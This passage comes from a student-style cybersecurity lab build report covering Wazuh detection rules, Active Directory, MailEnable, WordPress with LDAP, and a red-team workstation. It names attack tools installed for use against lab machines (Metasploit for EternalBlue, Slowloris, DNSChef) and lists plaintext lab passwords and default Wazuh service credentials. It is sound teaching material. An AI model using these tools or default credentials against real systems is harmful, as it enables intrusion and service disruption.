(‘config/wazuh/local\_rules.xml’); notable entries include rules ‘100013-100017’, which detect process execution from suspicious paths, Office and browser processes spawning scripting engines, PowerShell invoking keylogging-related Win32 APIs, known keylogger or RAT executable names, and suspicious processes loading ‘user32.dll’ or ‘kernel32.dll’. The ‘local\_rules.xml’ file should be downloaded and placed in the specified directory.

The manager-side response script, ‘kill-process.sh’ ([See Section 2.7.2](#)), should be downloaded from the [Github repository](#) (‘scripts/soc/kill-process.sh’) and placed at ‘/var/ossec/active-response/bin/kill-process.sh’. This script was deployed to the Manager’s active-response binary directory and given the correct ownership and permissions to execute ([Figure 2.4.5.3.6.3](#)):

- ‘sudo chown root:wazuh  
/var/ossec/active-response/bin/kill-process.sh’
- ‘sudo chmod 750  
/var/ossec/active-response/bin/kill-process.sh’

The configuration file that we edited to include the bindings for the ‘kill-process.sh’ and ‘kill-process-agent.cmd’ scripts is ‘ossec.conf’ ([Figure](#)

[2.4.5.3.6.4](#)), and our modified version should be downloaded from the [Github repository](#) ('config/wazuh/ossec.conf') and placed at '/var/ossec/etc/ossec.conf'.

After deploying 'agent.conf' and 'local\_rules.xml', and updating 'ossec.conf', we restarted the Wazuh Manager to load the new configuration using 'sudo systemctl restart wazuh-manager' ([Figure 2.4.5.3.6.5](#)).

Finally, we deployed the manager-side response script (should be copied or downloaded from the [Github repository](#) at 'scripts/soc/sync-agents-ufw.sh') for blueTeamIntraVM's firewall synchronization with Wazuh ([See Section 2.7.6](#)) and set the correct permissions and ownership for the script ([Figure 2.4.5.3.6.6](#)):

- 'sudo chown root:wazuh  
/var/ossec/active-response/bin/sync-agents-ufw.sh'
- 'sudo chmod 750  
/var/ossec/active-response/bin/sync-agents-ufw.sh'

The script requires the 'wazuh-wui' service-account password at '/var/ossec/.wazuh\_api\_pass' to authenticate to the Wazuh Manager's own REST API (same credentials used by the Wazuh Dashboard to reach the same AP) and are found in

`‘/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml`  
`’` ([Figure 2.4.5.3.6.7](#)):

- `‘echo -n ‘[service-account-password]’ | sudo tee`  
`/var/ossec/.wazuh_api_pass’`
- `‘sudo chmod 600 /var/ossec/.wazuh_api_pass’`
- `‘sudo chown root:wazuh`  
`/var/ossec/.wazuh_api_pass’`

Notes:

The default credentials for the service account are  
`‘wazuh-wui:wazuh-wui’`.

#### 2.4.5.4. *SSH Key Configuration*

In order for the Wazuh Manager’s active-response synchronization script ([See Section 2.7.6](#)) to remotely manage UFW rules on blueTeamIntraVM, blueTeamSOCVM must be able to connect to blueTeamIntraVM over SSH. In our set up, this involved generating an RSA key pair on blueTeamSOCVM, installing the public key on blueTeamIntraVM, and granting the ‘administrator’ account on blueTeamIntraVM passwordless ‘sudo’ access specifically for the ‘ufw’ command.

First, on blueTeamSOCVM, we created the ‘.ssh’ directory and generated the key pair ([Figure 2.4.5.4.1](#)):

- `‘sudo mkdir -p /var/ossec/.ssh’`

- `'sudo ssh-keygen -t rsa -b 4096 -f  
/var/ossec/.ssh/id_rsa -N ""'`

The '-N ""' flag generates the key without a passphrase, which is required since the script runs non-interactively as 'root' via Wazuh's active-response framework ('wazuh-execd'). After generating the key pair we restricted access to the directory ([Figure 2.4.5.4.2](#)):

- `'sudo chmod 700 /var/ossec/.ssh'`
- `'sudo chmod 600 /var/ossec/.ssh/id_rsa'`

Next, we copied the public key to blueTeamIntraVM's 'administrator' account. Because blueTeamIntraVM's firewall rules at this stage only permit SSH traffic from blueTeamSOCVM and blueTeamADVM's IP addresses, this command must be run from blueTeamSOCVM ([Figure 2.4.5.4.3](#)):

- `'sudo ssh-copy-id -i /var/ossec/.ssh/id_rsa.pub  
administrator@10.8.0.9'`

When prompted, enter the 'administrator' account password for blueTeamIntraVM. This appends the public key to '/home/administrator/.ssh/authorized\_keys' on blueTeamIntraVM, allowing future SSH connections from blueTeamSOCVM without a password.

Finally, on blueTeamIntraVM, we granted the 'administrator' account passwordless 'sudo' access for the 'ufw'

command, which is required because modifying firewall rules requires elevated privileges ([See Section 2.4.2.4](#)).

#### *2.4.5.5. Secure Configuration*

blueTeamSOCVM exists exclusively in the secure snapshot, it is not present in the base (unsecured) snapshot at all, as its role is to provide the monitoring and detection capabilities that define the hardened environment. No additional manual configuration was required beyond what was performed during the base configuration steps above. For verification steps to perform before taking the secure snapshot of this machine, [See Section 2.3.2](#).

#### *2.4.6. redTeamXUVM*

##### *2.4.6.1. Operating System*

This virtual machine runs Xubuntu 24.04.3 LTS "Noble Numbat" [6], an Ubuntu-based distribution built on the lightweight Xfce 4.18 desktop environment. As a Long-Term Support point release, it incorporates cumulative security updates and bug fixes over the base 24.04 release, with support extended until April 2027. Its lightweight footprint and familiar Linux tooling make it well-suited for use as the red team operator workstation in this simulation.

##### *2.4.6.2. Setup*

The virtual machine was provisioned in Oracle VirtualBox using the Xubuntu 24.04.3 ISO ([Figure 2.4.6.2.1](#)) sourced from mirror.us.leaseweb.net, with the unattended installation option disabled in favor of a manual setup. It was allocated 8 GB of RAM, 2 CPUs out of 8 available cores ([Figure 2.4.6.2.2](#)), and 25 GB of hard drive space ([Figure 2.4.6.2.3](#)), reflecting the resource demands of the red team toolset running within the simulation. During installation, the language, keyboard, and timezone settings were left as default, and a standard user account was created with the username 'mspuff' ([Figure 2.4.6.2.4](#)). After installation completed, VirtualBox Guest Additions were installed to enable clipboard sharing and automatic window resizing. To do this, from the top of the VM window we selected 'Devices', then 'Insert Guest Additions CD Image...' ([Figure 2.4.6.2.5](#)), opened a terminal, navigated to the mounted CD directory, and ran the installer with 'sudo sh VBoxLinuxAdditions.run' ([Figure 2.4.6.2.6](#)). After the installation was completed, the machine was rebooted.

### *2.4.6.3. Configuration*

#### *2.4.6.3.1. System Update*

Prior to tool installation, the system packages were brought fully up to date to ensure a stable and consistent base environment. From a terminal, we ran the following commands ([Figure 2.4.6.3.1.1](#)):

- 'sudo apt update'
- 'sudo apt upgrade -y'

#### 2.4.6.3.2. *OpenVPN*

In order to connect to the OpenVPN server and reach the krustykrab.local network, we installed OpenVPN and configured it to connect automatically on boot. We installed OpenVPN using 'sudo apt install openvpn -y' ([Figure 2.4.6.3.2.1](#)).

After installation, we copied the 'redTeamXUVM.ovpn' configuration file generated by the OpenVPN server to '/etc/openvpn/' and renamed it to 'redTeamXUVM.conf' so that the systemd service could manage it automatically ([Figure 2.4.6.3.2.2](#)):

- 'sudo cp ~/Desktop/redTeamXUVM.ovpn  
/etc/openvpn/redTeamXUVM.conf'

We then enabled and started the OpenVPN service to connect automatically on boot ([Figure 2.4.6.3.2.3](#)):

- 'sudo systemctl enable openvpn@redTeamXUVM'
- 'sudo systemctl start openvpn@redTeamXUVM'

To verify the tunnel was established, we confirmed the presence of the 'tun0' interface and the assigned VPN IP address using 'ip a' ([Figure 2.4.6.3.2.4](#)).

Notes:

The OpenVPN configuration file must be placed in '/etc/openvpn/' with a '.conf' extension for the systemd service unit 'openvpn@redTeamXUVM' to manage it correctly. If the tunnel does not come up after enabling the service, check the service status with 'sudo systemctl status openvpn@redTeamXUVM' for diagnostic output.

#### 2.4.6.3.3. *Red Team Toolset*

With the VPN tunnel active and the system updated, the red team toolset was installed to support the attack scenarios demonstrated in this project. The following tools were installed and used:

##### 2.4.6.3.3.1. *Metasploit Framework*

Metasploit was used to execute the EternalBlue (MS17-010) exploit against the unpatched blueTeamWin7VM in the base snapshot attack scenario. To install Metasploit, we used the official installation script ([Figure 2.4.6.3.3.1.1](#)):

- 'curl  
  
https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb  
  
b > msfinstall'
- 'chmod 755 msfinstall'

- 'sudo ./msfinstall'

After installation, Metasploit was launched using 'msfconsole' and the database was initialized with 'msfdb init' ([Figure 2.4.6.3.3.1.2](#))

#### 2.4.6.3.3.2. *Slowloris*

Slowloris [18] was used to conduct the Denial of Service attack against the HTTP intranet hosted on blueTeamIntraVM in the base snapshot. It was installed via pip with 'sudo apt install python3-pip slowloris' ([Figure 2.4.6.3.3.2.1](#)).

#### 2.4.6.3.3.3. *DNSChef*

DNSChef [23] is a flexible DNS proxy used for DNS spoofing during attack simulations. Since DNSChef is not available in the standard Xubuntu package repository, it was installed by first cloning the source from GitHub and then installing its dependency, 'dnslib', via apt ([Figure 2.4.6.3.3.3.1](#)):

- 'git clone

`https://github.com/iphelix/dnschef.git`

`'sudo apt install python3-dnslib'`

DNSChef is launched directly from the cloned directory using 'python3 dnschef.py'.

Notes:

redTeamXUVM is intentionally not domain-joined to krustykrab.local. It participates only at the network layer via the OpenVPN tunnel, simulating an external attacker who has gained access to the network but has no domain credentials or domain trust relationship.

## *2.5. Creation of Services*

### *2.5.1. blueTeamADVM Services*

#### *2.5.1.1. MailEnable Service*

##### *2.5.1.1.1. Installation of Service*

The 'Web Server (IIS)' role is available for Windows Servers via the 'Server Manager Dashboard' and is used for hosting web applications, in our case a web mail portal. When synchronized with Active Directory, this will allow for the automatic creation and accessing of each user's mailbox. To do this, we navigated from the dashboard to 'Manage/Add Roles & Features' ([Figure 2.5.1.1.1.1](#)), then clicked 'Next', 'Next', 'Next', after ensuring that '10.8.0.10' (or the static IP set for blueTeamADVM in [Section 2.2](#)) appears in the IP list ([Figure 2.5.1.1.1.2](#)), and selected 'Web Server (IIS)', 'Add Features', and clicked 'Next' ([Figure 2.5.1.1.1.3](#)), 'Next', 'Next', and finally 'Install' ([Figure 2.5.1.1.1.4](#)). Successful

installation should show ‘Installation succeeded on [Server Name]’ ([Figure 2.5.1.1.1.5](#)). Next, we downloaded the ‘Standard Edition’ of MailEnable [9] from the MailEnable Downloads page by opening Firefox and searching for ‘MailEnable Standard Edition’ and clicking on the link from ‘www.mailenable.com>standard\_edition’ ([Figure 2.5.1.1.1.6](#)), clicking on ‘Download (FREE)’ ([Figure 2.5.1.1.1.7](#)), and clicking on ‘Download’ next to ‘Standard Edition (FREE)’ ([Figure 2.5.1.1.1.8](#)). After the setup executable file finished downloading, we opened file explorer, navigated to our ‘Downloads’ folder, and ran the setup file ([Figure 2.5.1.1.1.9](#)) (ignore the ‘Installation Note’ and hit ‘OK’).

#### *2.5.1.1.2. Base Configuration (Part 1)*

Once in the setup wizard, we clicked ‘Next’ to begin setup, and entered in a ‘Name’ and ‘Company’ appropriate for the lab (as this information is cosmetic), and clicked ‘Next’ ([Figure 2.5.1.1.2.1](#)). After this, we clicked ‘Next’, ‘Next’, ‘Next’ (may optionally change default installation path), ‘Next’, ‘Next’, and entered ‘krustykrab.local’ and ‘KrustyAdmin!’ for the ‘Post Office Name’ and ‘Password’ respectively, and clicked ‘Next’ ([Figure 2.5.1.1.2.2](#)). Finally, we clicked ‘Next’, ‘Next’

(leaving the SMTP Connector Configuration as the default values), 'Next', and 'Next' (leaving the 'Web Server' as the default value). If installation was successful, click 'Finish' in the 'Installation Complete' window ([Figure 2.5.1.1.2.3](#)). After this, we opened the Start Menu, scrolled down to 'Mail Enable', expanded the drop-down, and pinned 'MailEnable' to the 'Taskbar' ([Figure 2.5.1.1.2.4](#)). From there, we opened the 'Mail Enable Management' application, expanded the 'Messaging Manager', expanded the 'Post Offices' drop-down, selected the 'Messaging Manager', selected 'Properties' from the 'Action' drop-down from the MailEnable Management ribbon ([Figure 2.5.1.1.2.5](#), [Figure 2.5.1.1.2.6](#)), selected the 'Security' tab, and 'Enable Integrated Authentication' and clicked 'Apply' and 'OK' ([Figure 2.5.1.1.2.7](#)). Next, we selected the 'krustykrab.local' PostOffice, and selected 'Properties' from the 'Action' menu, checked the 'Use Integrated Windows Authentication' box, the 'Automatically create mailbox...' box, and the 'Users must authenticate against Windows/LDAP...' box, set the method of authentication to 'Using Windows authentication (mailbox@domain)', entered in the future distinguished name of the 'mailbind' service account that will be created

during the configuration of Active Directory ([See Section 2.5.1.3.3](#)) in the 'BindDN' field, as well as the FQDN of the server in the 'LDAP Server' field, and clicked 'Apply' and 'OK' ([Figure 2.5.1.1.2.8](#)). Finally, we exited and saved our changes by selecting 'Save' from the 'File' drop-down from the ribbon ([Figure 2.5.1.1.2.9](#)).

Notes:

- BindDN:  
`'CN=mailbind,CN=Users,DC=krustykrab,DC=local'`
- LDAP Server: 'KK-DC.krustykrab.local'

#### 2.5.1.1.3. Base Configuration (Part 2)

Lastly, we opened 'Server Manager Dashboard/Tools/Internet Information Services (IIS) Manager' ([Figure 2.5.1.1.3.1](#)), expanded 'KK-DC.../Sites/' and clicked on 'MailEnable WebMail' ([Figure 2.5.1.1.3.2](#)). We then opened 'Bindings...', selected the first site binding, clicked on 'Edit', and changed the 'Host name:' field to 'mail.krustykrab.local' and the 'IP address:' field to '10.8.0.10', and clicked 'OK' ([Figure 2.5.1.1.3.3](#)).

Notes:

If trying to navigate to the web mail portal fails later, verify that the IP address and host name were entered correctly during this step.

#### *2.5.1.1.4. Secure Configuration*

We were not able to satisfactorily solve the internal email spoofing issue through a configuration of MailEnable. Although MailEnable offers a configuration for email spoofing, the change did not function the way we needed it to do to other parts of the project genuinely requiring the ability to spoof sender addresses. Our partial solution involved the ‘Sync-SMTPFirewall.ps1’ script ([See 2.7.5](#)), as well as the sender-verification and escalation logic in the secure-version of the ‘phishing\_simulation.ps1’ ([See Section 2.6.3.3](#)), which enables the ability to distinguish between a spoofed internal address from a genuinely compromised account and respond accordingly.

#### *2.5.1.2. DNS Server*

##### *2.5.1.2.1. Installation of Service*

The ‘DNS Server’ role is available for Windows Servers via the ‘Server Manager Dashboard’ and is required in Active Directory environments. The role enables a Windows server to manage a Domain Name System within a Windows server environment and enables

domain-joined hosts to communicate with domain controllers, mail servers, web servers, and other network resources via domain names instead of IP addresses. This service is critical for a company or organizational LAN, so it has a place in this project.

Before installing ‘DNS Server’ it is important to perform the configuration steps ([See Section 2.4.1.3](#)). This role will be installed automatically when attempting to promote a Windows server to be a domain controller, as will be done in the following section, but it may be beneficial for troubleshooting to attempt the installation manually beforehand. To install DNS Server, we navigated from the dashboard to ‘Manage/Add Roles & Features’ ([Figure 2.5.1.2.1.1](#)), then clicked ‘Next’, ‘Next’, ‘Next’, after ensuring that ‘10.8.0.10’ (or the static IP set for blueTeamADVM in [Section 2.2](#)) appears in the IP list ([Figure 2.5.1.2.1.2](#)), and selected ‘DNS Server’, ‘Add Features’, and clicked ‘Next’ ([Figure 2.5.1.2.1.3](#)), ‘Next’, ‘Next’, and finally ‘Install’ ([Figure 2.5.1.2.1.4](#)). Successful installation should show ‘Installation succeeded on [Server Name]’ ([Figure 2.5.1.2.1.5](#)).

#### *2.5.1.2.2. Base Configuration*

After rebooting, it will be a good time to go ahead and create the 'A' record for the intranet server and mail server in the DNS records, even if they have not been created yet. To do this, from the 'Server Manager Dashboard', we navigated to 'Tools/DNS' ([Figure 2.5.1.2.2.1](#)), selected the 'krustykrab.local' Forward Lookup Zone ([Figure 2.5.1.2.2.2](#)), selected 'Action' from the DNS Manager ribbon, and selected 'New Host (A or AAAA)...' ([Figure 2.5.1.2.2.3](#)). Next, we entered 'intranet' along with the static IP for blueTeamIntraVM we configured in the OpenVPN Server Configuration step ([See Section 2.2](#)), in the 'Name...:' and 'IP address:' fields respectively ([Figure 2.5.1.2.2.4](#)), then clicked 'Add Host'. In addition, we entered 'mail' along with the static IP of blueTeamADVM in the same two respective fields before clicking 'Add Host' ([Figure 2.5.1.2.2.5](#)). Finally, in order for Linux machines and other AD-aware clients to perform reverse-DNS lookups of the domain controller, we created a reverse lookup zone. To do this, we navigated to 'Tools/DNS' from the Server manager Dashboard, right-clicked 'Reverse Lookup Zones', selected 'New Zone...' ([Figure 2.5.1.2.2.6](#)), and walked through the wizard selecting 'Next', 'Next' ('Primary Zone' and 'store

in AD enabled'), 'Next'('...all DNS servers running on domain controllers in this domain:...'), 'Next' ('IPv4 Reverse Lookup Zone'), entered '10.8.0.' for the Network ID, and selected 'Allow only secure dynamic updates' ([Figure 2.5.1.2.2.7](#), [Figure 2.5.1.2.2.8](#)). After this, we manually created a PTR record by right-clicking on the new zone, clicking 'New Pointer (PTR)...', and entering '10.8.0.10' in the 'Host IP Address' field and 'kk-dc.krustykrab.local' in the 'Host name' field, and clicking 'OK' ([Figure 2.5.1.2.2.9](#)). After this, we rebooted to apply the changes.

#### *2.5.1.2.3. Secure Configuration*

We have not implemented this yet, but it may be worthwhile to explore the implementation of DNSSEC in this environment and attempt DNS cache poisoning on the domain controller on the base configuration.

### *2.5.1.3. Active Directory Domain Service*

#### *2.5.1.3.1. Installation of Service*

Microsoft's Active Directory (AD) technology is central to modern-day company and organizational LANs. AD DS is the 'Domain Services' directory service that provides hierarchical organization, storing, and administration of objects, like users, computers, and

printers, that are connected to a domain. AD DS is an incredibly powerful technology that is critical to IT infrastructure, and is designed to be scalable and is one of the primary roles of Windows Servers. Due to this, it would be strange to not center this project around this technology. We created blueTeamADVM primarily to be the domain controller for the simulated LAN. This will allow us to create the domain 'krustykrab.local', and the distinction between the OpenVPN network (simulated LAN) and the domain that sits on top of the LAN.

Before installing 'AD DS', creating the domain, and promoting blueTeamADVM to be the domain controller, it is necessary that the configuration steps are performed first ([See Section 2.4.1.3](#)). In addition, 'DNS Server' is required for AD DS, but will be installed automatically if not already installed on the host when attempting to promote the server to a domain controller. The first step we took was navigating from the dashboard to 'Manage/Add Roles & Features' ([Figure 2.5.1.3.1.1](#)). We clicked 'Next', 'Next', 'Next', after ensuring that '10.8.0.10' (or the static IP set for blueTeamADVM in [Section 2.2](#)) appears in the IP list ([Figure 2.5.1.3.1.2](#)), and selected 'Active Directory Domain Services', 'Add Features', and clicked 'Next' ([Figure](#)

[2.5.1.3.1.3](#)), ‘Next’, ‘Next’, and finally ‘Install’ ([Figure 2.5.1.3.1.4](#)). Successful installation should show ‘Installation succeeded on [Server Name]’ ([Figure 2.5.1.3.1.5](#)). After this, back on the dashboard, there should now be a yellow triangle under the flag icon next to the ‘Manage’ menu, we clicked the flag icon and the ‘Promote this server to a domain controller’ link ([Figure 2.5.1.3.1.6](#)). For the ‘Deployment Configuration’, we selected ‘Add a new forest’ and entered ‘krustykrab.local’, clicked ‘Next’ ([Figure 2.5.1.3.1.7](#)), entered in the ‘Directory Services Restore Mode’ password (our default ‘KrustyAdmin!’), clicked ‘Next’, ([Figure 2.5.1.3.1.8](#)), ‘Next’ (it is safe to ignore the warning regarding the delegation options), ‘Next’ (leaving the NetBIOS) as default), and ‘Install’ (leave paths as default), ‘Next’, ‘Next’ (after the prerequisite check finishes - ignore warnings). After the installation is finished, there should be a ‘Results’ tab with ‘This server was successfully configured as a domain controller’ ([Figure 2.5.1.3.1.9](#)). After rebooting, ‘Active Directory Domain Services’ should be accessible from the dashboard via ‘Tools’.

#### *2.5.1.3.2. Base Configuration (Part I)*

After rebooting, it is necessary to immediately configure the 'Ethernet' adapter to point to the domain controller itself. To do this, we first searched for 'Control Panel', pressed the enter-key ([Figure 2.5.1.3.2.1](#)), clicked on 'Network and Internet' ([Figure 2.5.1.3.2.2](#)), 'Network and Sharing Center' ([Figure 2.5.1.3.2.3](#)), 'Change adapter settings' ([Figure 2.5.1.3.2.4](#)), double-clicked on the adapter, clicked 'Properties', selected 'Internet Protocol Version 4 (TCP/IPv4)', clicked 'Properties', and changed the DNS server to '10.8.0.10' (or the static IP the server receives from the OpenVPN server set up in [Section 2.2](#)) ([Figure 2.5.1.3.2.5](#)). Next, we opened 'Active Directory Users and Computers' from the dashboard via 'Tools/Active Directory Users and Computers' ([Figure 2.5.1.3.2.6](#)), and created the base configuration lab-based user accounts by selecting the 'Users' container and 'Action/New/User' from the ribbon ([Figure 2.5.1.3.2.7](#), [Figure 2.5.1.3.2.8](#)).

#### *2.5.1.3.3. Base Configuration (Part II)*

In the 'New Object - User' creation tool, we entered in the 'First name', 'Last name', and 'User logon name' (simply firstname.lastname), clicked 'Next' ([Figure 2.5.1.3.3.1](#)), entered a user-specific password in the 'Password' and 'Confirm password' fields, unchecked the

‘User must change...’ box and checked the ‘Password never expires’ box, clicked ‘Next’ ([Figure 2.5.1.3.3.2](#)), ‘Finish’, and followed the same process for each user (our base-configuration users may be found below in the below table). Finally, we delegated access to the appropriate accounts by adding them to certain pre-defined ‘groups’ and delegating permissions by organizational unit (OU). We added one account to the ‘Domain Admins’ group by selecting the user account within the ‘Users’ container, clicking ‘Add to a group...’ ([Figure 2.5.1.3.3.3](#)), entering ‘Domain Admins’ into the text-field, clicking ‘Check Names’, and ‘OK’ ([Figure 2.5.1.3.3.4](#)). Next, we gave the mailbind service account read permissions to the ‘Users’ container by selecting the container, selecting ‘Actions/Delegate Control...’ ([Figure 2.5.1.3.3.5](#)), clicking ‘Next’ in the ‘Delegation of Control Wizard’, ‘Add...’, entering ‘mailbind’ in the text-field, selecting ‘Check Names’ and ‘OK’ ([Figure 2.5.1.3.3.6](#)), ‘Next’, and selecting ‘Read all user information’ and ‘Next’ ([Figure 2.5.1.3.3.7](#)), and ‘Finish’. Finally, we delegated all access to the domain to the ‘Domain Admins’ group by selecting the domain root and following the same process, but entering ‘Domain Admins’ and selecting ‘Check Names’

instead of ‘mailbind’ ([Figure 2.5.1.3.3.8](#)). ‘Next’, selecting all boxes, ‘Next’ ([Figure 2.5.1.3.3.9](#)), and ‘Finish’. We promoted one of the accounts (Sandy Cheeks) to be a domain admin for use in domain administration tasks (like domain-joining).

User Accounts:

| First Name: | Last Name   | User Logon Name       | Password        |
|-------------|-------------|-----------------------|-----------------|
| SpongeBob   | SquarePants | SpongeBob.SquarePants | KrustyFryCook!  |
| Sandy       | Cheeks      | Sandy.Cheeks          | KrustyAcorns!   |
| Eugene      | Krabs       | Eugene.Krabs          | KrustyAnchor!   |
| Squidward   | Tentacles   | Squidward.Tentacles   | KrustyKlarinet! |
| mailbind    | N/A         | mailbind              | KrustyAdmin!    |

#### 2.5.1.3.4. *Secure Configuration*

This is optional, but in addition to the above accounts, we added another account dedicated to all things security and added the account to the ‘Domain Admins’ group (information in the below table). The secure configuration of Active Directory has not been entirely explored. While GPOs were used in this project ([See Section 2.6](#)), we will explore different potential attacks and

secure configuration changes in the future such as local administrator password solutions, account lockout policies, the implementation of the least-privilege model, service accounts, and more.

| First Name: | Last Name | User Logon Name | Password     |
|-------------|-----------|-----------------|--------------|
| Larry       | Lobster   | Larry.Lobster   | KrustyPants! |

## *2.5.2. blueTeamIntraVM Services*

### *2.5.2.1. WordPress Service*

#### *2.5.2.1.1. Installation of Service*

WordPress [10] is an open-source content management system (CMS) widely used for hosting web-sites, blogs, and intranet portals. For this project, WordPress was selected to host the intranet site in order to provide a realistic internal web service that domain users could access for day-to-day work-flows that might commonly be seen in an organization. A LAMP stack (Linux, Apache, MySQL (or MariaDB), and PHP) is commonly used to host WordPress. To install the required components for the stack, including the LDAP extension for Active Directory integration, we opened a terminal on

blueTeamIntraVM and ran the following commands in order ([Figure 2.5.2.1.1.1](#), [Figure 2.5.2.1.1.2](#)):

- ‘sudo apt update’
- ‘sudo apt install apache2 -y’
- ‘sudo apt install mysql-server -y’
- ‘sudo apt install php php-mysql php-ldap  
libapache2-mod-php php-cli php-curl php-gd  
php-mbstring php-xml php-zip -y’
- ‘sudo systemctl enable apache2 && sudo systemctl  
start apache2’
- ‘sudo systemctl enable mysql && sudo systemctl  
start mysql’

After this, we verified that Apache was reachable from a browser at ‘http://localhost’, and then secured the MySQL installation by running ‘sudo mysql\_secure\_installation’ ([Figure 2.5.2.1.1.3](#)) and followed the prompts to set a root password, remove anonymous users, disallow remote root login, and remove the test database. Next, we created a dedicated database and user for WordPress by logging into MySQL with ‘sudo mysql -u root -p’ (password is blank unless optionally set otherwise) ([Figure 2.5.2.1.1.4](#)) and running the following commands ([Figure 2.5.2.1.1.5](#)):

- `'CREATE DATABASE krustykrab_wp;'`
- `'CREATE USER 'administrator'@'localhost'`  
`IDENTIFIED BY 'KrustyAdmin!';'`
- `'GRANT ALL PRIVILEGES ON krustykrab_wp.*`  
`TO 'administrator'@'localhost';'`
- `'FLUSH PRIVILEGES;'`
- `'EXIT;'`

After this, we downloaded and extracted the latest WordPress release into the Apache web root and created the configuration file by running ([Figure 2.5.2.1.1.6](#)):

- `'cd /tmp && wget`  
`https://wordpress.org/latest.tar.gz'`
- `'tar -xzf latest.tar.gz'`
- `'sudo cp -R wordpress/* /var/www/html/'`
- `'sudo chown -R www-data:www-data`  
`/var/www/html/'`
- `'sudo chmod -R 755 /var/www/html/'`
- `'sudo cp /var/www/html/wp-config-sample.php`  
`/var/www/html/wp-config.php'`

Within `'wp-config.php'` we located the database settings block near the top of the file and replaced the placeholder values with the credentials configured during the MySQL set-up step ([Figure 2.5.2.1.1.7](#)):

- `define( 'DB_NAME', 'krustykrab_wp' );`
- `define( 'DB_USER', 'administrator' );`
- `define( 'DB_PASSWORD', 'KrustyAdmin!' );`
- `define( 'DB_HOST', 'localhost' );`
- `define( 'DB_CHARSET', 'utf8' );`
- `define( 'DB_COLLATE', '' );`

We also replaced the authentication unique keys and salts block freshly generated values obtained from `'https://api.wordpress.org/secret-key/1.1/salt/'` ([Figure 2.5.2.1.1.8](#)), which strengthens cookie and session security by ensuring each installation uses unique cryptographic keys rather than the default empty place-holders. After saving and exiting the editor, we restarted Apache to apply changes via `'sudo systemctl restart apache2'` ([Figure 2.5.2.1.1.9](#)).

#### 2.5.2.1.2. *Base Configuration (Part I)*

After installation and editing of `'wp-config.php'`, we navigated to `'http://intranet.krustykrab.local'` ([See Section 2.5.1.2](#)) from blueTeamADVM to complete the WordPress browser-based set-up wizard. We selected 'English' as the installation language, provided the site details, clicked 'Install WordPress' ([Figure 2.5.2.1.2.1](#)), clicked 'Log In', and entered the administrator account

credentials and clicked 'Log In' ([Figure 2.5.2.1.2.2](#)). After clicking 'Install WordPress', we signed in at '/wp-admin' and verified the dashboard loaded successfully ([Figure 2.5.2.1.2.3](#)).

After this, we navigated to the 'Plugins' tab and clicked on 'Add Plugin' ([Figure 2.5.2.1.2.4](#)), searched for 'Active Directory', and clicked on 'Active Directory Integration / LDAP Integration' and 'Install Now' ([Figure 2.5.2.1.2.5](#)). After the installation finished, we clicked on 'Activate', and then on the 'LDAP/AD Login for Intranet' tab ([Figure 2.5.2.1.2.6](#)). For the 'LDAP Connection Configuration', we entered the following information and clicked 'Test Connection & Save' ([Figure 2.5.2.1.2.7](#)):

- Directory Server: 'Microsoft Active Directory'
- LDAP Server Domain/IP: 'ldap',  
'KK-DC.krustykrab.local', '389'
- Service Account Username:  
'Sandy.Cheeks@krustykrab.local'
- Service Account Password: 'KrustyAcorns!'

After this, we clicked on 'LDAP User Mapping Configuration' and entered the following information and clicked 'Save User Mapping' ([Figure 2.5.2.1.2.8](#)):

- Search Base: 'DC=krustykrab,DC=local'

- Username Attribute: ‘userPrincipalName’
- Enable custom search filter: Disabled

Finally, we clicked ‘Test Authentication’ and entered in the name and password of one of the users, clicked on ‘Test Authentication’, and verified that the configuration was correct and LDAP was functioning properly ([Figure 2.5.2.1.2.9](#)).

#### 2.5.2.1.3. *Base Configuration (Part II)*

We moved on to ‘Role Mapping’ and verified the following settings ([Figure 2.5.2.1.3.1](#)):

- Select the default role for all the LDAP users:  
‘Subscriber’
- Enable Role Mapping: Enabled
- Keep existing role of users: Disabled

After ‘Role Mapping’ we clicked on ‘Attribute Mapping’, entered the following information, and clicked ‘Save Configuration’ ([Figure 2.5.2.1.3.2](#)):

- Email Attribute: ‘mail’
- Email Domain: ‘mail.krustykrab.local’

To finish configuring the ‘LDAP/AD Login for Intranet’ plug-in, we clicked on ‘Login Settings’ and verified the following settings ([Figure 2.5.2.1.3.3](#)):

- Enable Login Using LDAP: Enabled

- Authenticate Administrators from both LDAP and WordPress: Enabled
- Enable Auto Registering users if they do not exist in WordPress: Enabled

Finally, in order to force users to sign in before accessing the intranet, we also navigated to the 'Plugins' tab and clicked on 'Add Plugin' ([Figure 2.5.2.1.3.4](#)), searched for 'Force Login', and clicked on 'Force Login...By Kevin Vess' and 'Install Now' ([Figure 2.5.2.1.3.5](#)). After the installation finished, we clicked on 'Activate' ([Figure 2.5.2.1.3.6](#)).

Cosmetic configuration of the intranet site, including selection of a theme, a plug-in for customizing user profiles and login page customization, creation of pages for organizational announcements, and customization of the navigation menu, was performed via the WordPress admin dashboard to give the intranet a more realistic appearance of a small organization's internal portal. These steps are not necessary for functionality, but more help illustrate the importance of an intranet resource in a LAN environment.

#### *2.5.2.1.4. Secure Configuration*

To better secure the intranet, we modified the intranet SSL files to create certificates that the intranet web-page can use. We took the following steps to convert the web-page to use HTTPS:

First, we opened the Terminal and created a custom directory to store our SSL certificates at `‘/etc/ssl/localcerts’`, and then used OpenSSL to generate our custom certificates ([Figure 2.5.2.1.4.1](#)):

- `‘sudo mkdir -p /etc/ssl/localcerts’`
- `‘sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/localcerts/intranet.key -out /etc/ssl/localcerts/intranet.crt -subj "/CN=intranet.krustykrab.local"'`

Once the keys were created, we set the proper permissions for both `‘intranet.key’` and `‘intranet.crt’` ([Figure 2.5.2.1.4.2](#)):

- `‘sudo chmod 600 /etc/ssl/localcerts/intranet.key’`
- `‘sudo chmod 644 /etc/ssl/localcerts/intranet.crt’`

After that, we used the built-in Apache command to enable the SSL module ([Figure 2.5.2.1.4.3](#)):

- `‘sudo a2enmod ssl’`
- `‘sudo a2enmod rewrite’`

We then navigated to the  
‘/etc/apache2/sites-available/’ directory and created a new  
custom virtual host called ‘krustykrablocal-ssl.conf’, then  
configured the file to listen on port 443, point  
‘SSLCertificateFile’ to ‘intranet.crt’, and point  
‘SSLCertificateKeyFile’ to ‘intranet.key’ ([Figure  
2.5.2.1.4.4](#)). After that, we used the following commands to  
enable the new site and apply the configuration ([Figure  
2.5.2.1.4.5](#)):

